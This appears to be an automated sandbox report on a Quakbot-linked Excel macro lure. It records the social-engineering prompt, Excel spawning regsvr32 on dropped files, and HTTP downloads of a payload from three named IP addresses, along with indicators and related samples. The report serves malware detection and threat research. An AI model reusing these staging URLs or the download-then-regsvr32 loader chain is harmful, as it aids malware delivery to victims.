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Windows Analysis Report Permission-414467145-06252021.xlsm

Overview

General Information

Sample Name:	Permission-414467145-06252021.xlsm
Analysis ID:	440505
MD5:	590ca0e597487dd5ad6c2f1fb64184dd
SHA1:	e141e27af930a2cdeafab2eb20727000de893629
SHA256:	20a72dc5350b296f2857911444fa065f5b0bb437be8d1bc61819cf29828a2955
Tags:	xlsm
Infos:
Most interesting Screenshot:

Detection

Hidden Macro 4.0

Score:	64
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Document exploit detected (UrlDownloadToFile)

Document exploit detected (process start blacklist hit)

Found Excel 4.0 Macro with suspicious formulas

Sigma detected: Microsoft Office Product Spawning Windows Shell

May sleep (evasive loops) to hinder dynamic analysis

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Uses a known web browser user agent for HTTP communication

Classification

Process Tree

System is w7x64

EXCEL.EXE (PID: 2492 cmdline: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding MD5: 5FB0A0F93382ECD19F5F499A5CAA59F0)

regsvr32.exe (PID: 1980 cmdline: regsvr32 ..\Kro.fis MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 3032 cmdline: regsvr32 ..\Kro.fis1 MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 2244 cmdline: regsvr32 ..\Kro.fis2 MD5: 59BCE9F07985F8A4204F4D6554CFF708)

cleanup

Malware Configuration

No configs have been found

Yara Overview

No yara matches

Sigma Overview

System Summary:

Sigma detected: Microsoft Office Product Spawning Windows Shell

Show sources

Source: Process started

Author: Michael Haag, Florian Roth, Markus Neis, Elastic, FPT.EagleEye Team: Data: Command: regsvr32 ..\Kro.fis, CommandLine: regsvr32 ..\Kro.fis, CommandLine|base64offset|contains: ,, Image: C:\Windows\System32\regsvr32.exe, NewProcessName: C:\Windows\System32\regsvr32.exe, OriginalFileName: C:\Windows\System32\regsvr32.exe, ParentCommandLine: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding, ParentImage: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ParentProcessId: 2492, ProcessCommandLine: regsvr32 ..\Kro.fis, ProcessId: 1980

Signature Overview

Click to jump to signature section

Show All Signature Results

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Software Vulnerabilities:

Document exploit detected (UrlDownloadToFile)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Section loaded: \KnownDlls\api-ms-win-downlevel-shlwapi-l2-1-0.dll origin: URLDownloadToFileA

Document exploit detected (process start blacklist hit)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\System32\regsvr32.exe

Source: global traffic

TCP traffic: 192.168.2.22:49167 -> 185.240.103.219:80

Source: global traffic

TCP traffic: 192.168.2.22:49167 -> 185.240.103.219:80

Source: global traffic	HTTP traffic detected: GET /44372.5879460648.dat HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 185.240.103.219Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /44372.5879460648.dat HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 190.14.37.3Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /44372.5879460648.dat HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 185.183.99.120Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 185.240.103.219
Source: unknown	TCP traffic detected without corresponding DNS query: 185.240.103.219
Source: unknown	TCP traffic detected without corresponding DNS query: 185.240.103.219
Source: unknown	TCP traffic detected without corresponding DNS query: 185.240.103.219
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.3
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.3
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.3
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.3
Source: unknown	TCP traffic detected without corresponding DNS query: 185.183.99.120
Source: unknown	TCP traffic detected without corresponding DNS query: 185.183.99.120
Source: unknown	TCP traffic detected without corresponding DNS query: 185.183.99.120
Source: unknown	TCP traffic detected without corresponding DNS query: 185.183.99.120
Source: unknown	TCP traffic detected without corresponding DNS query: 185.240.103.219
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.3
Source: unknown	TCP traffic detected without corresponding DNS query: 185.183.99.120
Source: unknown	TCP traffic detected without corresponding DNS query: 185.183.99.120
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.3
Source: unknown	TCP traffic detected without corresponding DNS query: 185.240.103.219

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\4A07B784.jpg

Jump to behavior

Source: global traffic	HTTP traffic detected: GET /44372.5879460648.dat HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 185.240.103.219Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /44372.5879460648.dat HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 190.14.37.3Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /44372.5879460648.dat HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 185.183.99.120Connection: Keep-Alive

Source: regsvr32.exe, 00000003.00000002.2149321105.0000000004790000.00000002.00000001.sdmp, regsvr32.exe, 00000004.00000002.2127918716.0000000004AD0000.00000002.00000001.sdmp, regsvr32.exe, 00000005.00000002.2109605938.0000000004970000.00000002.00000001.sdmp

String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)

Source: regsvr32.exe, 00000003.00000002.2149321105.0000000004790000.00000002.00000001.sdmp, regsvr32.exe, 00000004.00000002.2127918716.0000000004AD0000.00000002.00000001.sdmp, regsvr32.exe, 00000005.00000002.2109605938.0000000004970000.00000002.00000001.sdmp	String found in binary or memory: http://investor.msn.com
Source: regsvr32.exe, 00000003.00000002.2149321105.0000000004790000.00000002.00000001.sdmp, regsvr32.exe, 00000004.00000002.2127918716.0000000004AD0000.00000002.00000001.sdmp, regsvr32.exe, 00000005.00000002.2109605938.0000000004970000.00000002.00000001.sdmp	String found in binary or memory: http://investor.msn.com/
Source: regsvr32.exe, 00000003.00000002.2149488678.0000000004977000.00000002.00000001.sdmp, regsvr32.exe, 00000004.00000002.2128195072.0000000004CB7000.00000002.00000001.sdmp	String found in binary or memory: http://localizability/practices/XML.asp
Source: regsvr32.exe, 00000003.00000002.2149488678.0000000004977000.00000002.00000001.sdmp, regsvr32.exe, 00000004.00000002.2128195072.0000000004CB7000.00000002.00000001.sdmp	String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: regsvr32.exe, 00000003.00000002.2145875153.0000000003A70000.00000002.00000001.sdmp, regsvr32.exe, 00000004.00000002.2124555329.0000000003C50000.00000002.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: regsvr32.exe, 00000003.00000002.2145275904.0000000001D00000.00000002.00000001.sdmp, regsvr32.exe, 00000004.00000002.2124011430.0000000001E60000.00000002.00000001.sdmp, regsvr32.exe, 00000005.00000002.2105200473.0000000001CC0000.00000002.00000001.sdmp	String found in binary or memory: http://servername/isapibackend.dll
Source: regsvr32.exe, 00000003.00000002.2149488678.0000000004977000.00000002.00000001.sdmp, regsvr32.exe, 00000004.00000002.2128195072.0000000004CB7000.00000002.00000001.sdmp	String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: regsvr32.exe, 00000003.00000002.2149488678.0000000004977000.00000002.00000001.sdmp, regsvr32.exe, 00000004.00000002.2128195072.0000000004CB7000.00000002.00000001.sdmp	String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: regsvr32.exe, 00000003.00000002.2145875153.0000000003A70000.00000002.00000001.sdmp, regsvr32.exe, 00000004.00000002.2124555329.0000000003C50000.00000002.00000001.sdmp	String found in binary or memory: http://www.%s.comPA
Source: regsvr32.exe, 00000003.00000002.2149321105.0000000004790000.00000002.00000001.sdmp, regsvr32.exe, 00000004.00000002.2127918716.0000000004AD0000.00000002.00000001.sdmp, regsvr32.exe, 00000005.00000002.2109605938.0000000004970000.00000002.00000001.sdmp	String found in binary or memory: http://www.hotmail.com/oe
Source: regsvr32.exe, 00000003.00000002.2149488678.0000000004977000.00000002.00000001.sdmp, regsvr32.exe, 00000004.00000002.2128195072.0000000004CB7000.00000002.00000001.sdmp	String found in binary or memory: http://www.icra.org/vocabulary/.
Source: regsvr32.exe, 00000003.00000002.2149321105.0000000004790000.00000002.00000001.sdmp, regsvr32.exe, 00000004.00000002.2127918716.0000000004AD0000.00000002.00000001.sdmp, regsvr32.exe, 00000005.00000002.2109605938.0000000004970000.00000002.00000001.sdmp	String found in binary or memory: http://www.msnbc.com/news/ticker.txt
Source: regsvr32.exe, 00000005.00000002.2109605938.0000000004970000.00000002.00000001.sdmp	String found in binary or memory: http://www.windows.com/pctv.

System Summary:

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Show sources

Source: Screenshot number: 4	Screenshot OCR: Enable Editing from the 19 ' yellow bar above. 21 :: G) PROTECTED VIEW Be careful-files from th
Source: Screenshot number: 4	Screenshot OCR: Enable Content 30 31 32 33 34 35 36 37 38 , Id 1 p pi Sheetl i q \|1\|\| P A r7m r7m ..
Source: Screenshot number: 8	Screenshot OCR: Enable Editing from the ' yellow bar above. 21 :: G) PROTECTED VIEW Be careful-files from the In
Source: Screenshot number: 8	Screenshot OCR: Enable Content 30 31 32 33 ) CI O 34 35 36 37 38 , Id 1 p pi Sheetl tj i q \|1\|\| P A Gy m
Source: Document image extraction number: 0	Screenshot OCR: Enable Editing from the yellow bar above. PROTECTED VIEW Be careful-files from the Internet can
Source: Document image extraction number: 0	Screenshot OCR: Enable Content
Source: Document image extraction number: 1	Screenshot OCR: Enable Editing from the yellow bar above. (i) PROTECTED VIEW Be careful-files from the Internet ca
Source: Document image extraction number: 1	Screenshot OCR: Enable Content

Found Excel 4.0 Macro with suspicious formulas

Show sources

Source: Permission-414467145-06252021.xlsm

Initial sample: EXEC

Binary or memory string: .VBPud<_

Source: classification engine

Classification label: mal64.expl.evad.winXLSM@7/7@0/3

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\Desktop\~$Permission-414467145-06252021.xlsm

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVRC6B8.tmp

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\regsvr32.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe regsvr32 ..\Kro.fis
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe regsvr32 ..\Kro.fis1
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe regsvr32 ..\Kro.fis2
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe regsvr32 ..\Kro.fis
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe regsvr32 ..\Kro.fis1
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe regsvr32 ..\Kro.fis2

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: Permission-414467145-06252021.xlsm	Initial sample: OLE zip file path = xl/media/image1.jpg
Source: Permission-414467145-06252021.xlsm	Initial sample: OLE zip file path = xl/worksheets/_rels/sheet2.xml.rels
Source: Permission-414467145-06252021.xlsm	Initial sample: OLE zip file path = xl/calcChain.xml

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\System32\regsvr32.exe TID: 1552	Thread sleep time: -60000s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 3040	Thread sleep time: -60000s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 3028	Thread sleep time: -60000s >= -30000s

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Scripting1	Path Interception	Process Injection1	Masquerading1	OS Credential Dumping	Virtualization/Sandbox Evasion1	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	Non-Application Layer Protocol1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Exploitation for Client Execution22	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Disable or Modify Tools1	LSASS Memory	File and Directory Discovery1	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Application Layer Protocol11	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Virtualization/Sandbox Evasion1	Security Account Manager	System Information Discovery2	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Ingress Tool Transfer2	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Process Injection1	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Scripting1	LSA Secrets	Remote System Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Permission-414467145-06252021.xlsm	5%	Virustotal		Browse
Permission-414467145-06252021.xlsm	4%	ReversingLabs	Document-Office.Backdoor.Quakbot

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
http://185.183.99.120/44372.5879460648.dat	0%	Avira URL Cloud	safe
http://190.14.37.3/44372.5879460648.dat	0%	Avira URL Cloud	safe
http://185.240.103.219/44372.5879460648.dat	0%	Avira URL Cloud	safe
http://www.%s.comPA	0%	URL Reputation	safe
http://www.%s.comPA	0%	URL Reputation	safe
http://www.%s.comPA	0%	URL Reputation	safe
http://www.%s.comPA	0%	URL Reputation	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
http://servername/isapibackend.dll	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

No contacted domains info

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.183.99.120/44372.5879460648.dat	false	Avira URL Cloud: safe	unknown
http://190.14.37.3/44372.5879460648.dat	false	Avira URL Cloud: safe	unknown
http://185.240.103.219/44372.5879460648.dat	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check	regsvr32.exe, 00000003.00000002.2149488678.0000000004977000.00000002.00000001.sdmp, regsvr32.exe, 00000004.00000002.2128195072.0000000004CB7000.00000002.00000001.sdmp	false		high
http://www.windows.com/pctv.	regsvr32.exe, 00000005.00000002.2109605938.0000000004970000.00000002.00000001.sdmp	false		high
http://investor.msn.com	regsvr32.exe, 00000003.00000002.2149321105.0000000004790000.00000002.00000001.sdmp, regsvr32.exe, 00000004.00000002.2127918716.0000000004AD0000.00000002.00000001.sdmp, regsvr32.exe, 00000005.00000002.2109605938.0000000004970000.00000002.00000001.sdmp	false		high
http://www.msnbc.com/news/ticker.txt	regsvr32.exe, 00000003.00000002.2149321105.0000000004790000.00000002.00000001.sdmp, regsvr32.exe, 00000004.00000002.2127918716.0000000004AD0000.00000002.00000001.sdmp, regsvr32.exe, 00000005.00000002.2109605938.0000000004970000.00000002.00000001.sdmp	false		high
http://www.icra.org/vocabulary/.	regsvr32.exe, 00000003.00000002.2149488678.0000000004977000.00000002.00000001.sdmp, regsvr32.exe, 00000004.00000002.2128195072.0000000004CB7000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.	regsvr32.exe, 00000003.00000002.2145875153.0000000003A70000.00000002.00000001.sdmp, regsvr32.exe, 00000004.00000002.2124555329.0000000003C50000.00000002.00000001.sdmp	false		high
http://investor.msn.com/	regsvr32.exe, 00000003.00000002.2149321105.0000000004790000.00000002.00000001.sdmp, regsvr32.exe, 00000004.00000002.2127918716.0000000004AD0000.00000002.00000001.sdmp, regsvr32.exe, 00000005.00000002.2109605938.0000000004970000.00000002.00000001.sdmp	false		high
http://www.%s.comPA	regsvr32.exe, 00000003.00000002.2145875153.0000000003A70000.00000002.00000001.sdmp, regsvr32.exe, 00000004.00000002.2124555329.0000000003C50000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	low
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	regsvr32.exe, 00000003.00000002.2149488678.0000000004977000.00000002.00000001.sdmp, regsvr32.exe, 00000004.00000002.2128195072.0000000004CB7000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.hotmail.com/oe	regsvr32.exe, 00000003.00000002.2149321105.0000000004790000.00000002.00000001.sdmp, regsvr32.exe, 00000004.00000002.2127918716.0000000004AD0000.00000002.00000001.sdmp, regsvr32.exe, 00000005.00000002.2109605938.0000000004970000.00000002.00000001.sdmp	false		high
http://servername/isapibackend.dll	regsvr32.exe, 00000003.00000002.2145275904.0000000001D00000.00000002.00000001.sdmp, regsvr32.exe, 00000004.00000002.2124011430.0000000001E60000.00000002.00000001.sdmp, regsvr32.exe, 00000005.00000002.2105200473.0000000001CC0000.00000002.00000001.sdmp	false	Avira URL Cloud: safe	low

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
190.14.37.3	unknown	Panama	52469	OffshoreRacksSAPA	false
185.183.99.120	unknown	Netherlands	60117	HSAE	false
185.240.103.219	unknown	Russian Federation	57724	DDOS-GUARDRU	false

General Information

Joe Sandbox Version:	32.0.0 Black Diamond
Analysis ID:	440505
Start date:	25.06.2021
Start time:	14:06:26
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 5m 58s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	Permission-414467145-06252021.xlsm
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal64.expl.evad.winXLSM@7/7@0/3
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .xlsm Found Word or Excel or PowerPoint or XPS Viewer Found warning dialog Click Ok Found warning dialog Click Ok Found warning dialog Click Ok Attach to Office via COM Scroll down Close Viewer
Warnings:	Show All Exclude process from analysis (whitelisted): dllhost.exe, svchost.exe

Simulations

Behavior and APIs

Time	Type	Description
14:06:49	API Interceptor	3x Sleep call for process: regsvr32.exe modified

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
DDOS-GUARDRU	Decline-172917164-06242021.xlsm	Get hash	malicious	Browse	5.253.62.174
	Decline-172917164-06242021.xlsm	Get hash	malicious	Browse	5.253.62.174
	ForceNitro.exe	Get hash	malicious	Browse	185.178.208.135
	PO#8076.exe	Get hash	malicious	Browse	185.129.100.112
	Cancellation_Letter_2137859823_06112021.xlsm	Get hash	malicious	Browse	185.240.103.162
	Cancellation_Letter_2137859823_06112021.xlsm	Get hash	malicious	Browse	185.240.103.162
	jebDtHCePK9feGL.exe	Get hash	malicious	Browse	185.129.100.112
	EDS03932,pdf.exe	Get hash	malicious	Browse	185.178.208.160
	PO_29_00412.exe	Get hash	malicious	Browse	185.178.208.160
	PO_29_00412.exe	Get hash	malicious	Browse	185.178.208.160
	12042021493876783,xlsx.exe	Get hash	malicious	Browse	185.178.208.160
	Ref. PDF IGAPO17493.exe	Get hash	malicious	Browse	5.253.61.31
	AxR7BY4wzz.exe	Get hash	malicious	Browse	185.178.208.189
	SecuriteInfo.com.Trojan.Siggen12.41502.7197.exe	Get hash	malicious	Browse	185.178.208.189
	#U041e#U0442#U043a#U0440#U044b#U0442#U044c www.sberbank.ru-0152 .htm	Get hash	malicious	Browse	185.129.100.100
	Install.exe	Get hash	malicious	Browse	185.219.40.40
	CHEAT.exe	Get hash	malicious	Browse	185.178.208.161
	seed.exe	Get hash	malicious	Browse	185.219.40.40
	DHL Document. PDF.exe	Get hash	malicious	Browse	5.253.61.133
	wrHgqtMUGL.exe	Get hash	malicious	Browse	45.128.207.237
OffshoreRacksSAPA	4cDyOofgzT.xlsm	Get hash	malicious	Browse	190.14.37.2
	4cDyOofgzT.xlsm	Get hash	malicious	Browse	190.14.37.2
	341288734918_06172021.xlsm	Get hash	malicious	Browse	190.14.37.2
	341288734918_06172021.xlsm	Get hash	malicious	Browse	190.14.37.2
	Rebate_247668103_06142021.xlsm	Get hash	malicious	Browse	190.14.37.135
	Rebate_247668103_06142021.xlsm	Get hash	malicious	Browse	190.14.37.135
	Rebate_1963763550_06142021.xlsm	Get hash	malicious	Browse	190.14.37.135
	Rebate_1963763550_06142021.xlsm	Get hash	malicious	Browse	190.14.37.135
	Rebate_234359500_06142021.xlsm	Get hash	malicious	Browse	190.14.37.135
	Rebate_234359500_06142021.xlsm	Get hash	malicious	Browse	190.14.37.135
	banUwVSwBY.xlsx	Get hash	malicious	Browse	190.14.37.134
	banUwVSwBY.xlsx	Get hash	malicious	Browse	190.14.37.134
	Rebate_18082425_05272021.xlsm	Get hash	malicious	Browse	190.14.37.102
	Rebate_18082425_05272021.xlsm	Get hash	malicious	Browse	190.14.37.102
	DEBT_06032021_861309073.xlsm	Get hash	malicious	Browse	190.14.37.121
	DEBT_06032021_861309073.xlsm	Get hash	malicious	Browse	190.14.37.121
	Rebate_854427061_05272021.xlsm	Get hash	malicious	Browse	190.14.37.102
	Rebate_854427061_05272021.xlsm	Get hash	malicious	Browse	190.14.37.102
	Overdue_Debt_829721407_06012021.xlsm	Get hash	malicious	Browse	190.14.37.113
	Overdue_Debt_829721407_06012021.xlsm	Get hash	malicious	Browse	190.14.37.113
HSAE	Decline-172917164-06242021.xlsm	Get hash	malicious	Browse	185.117.73.74
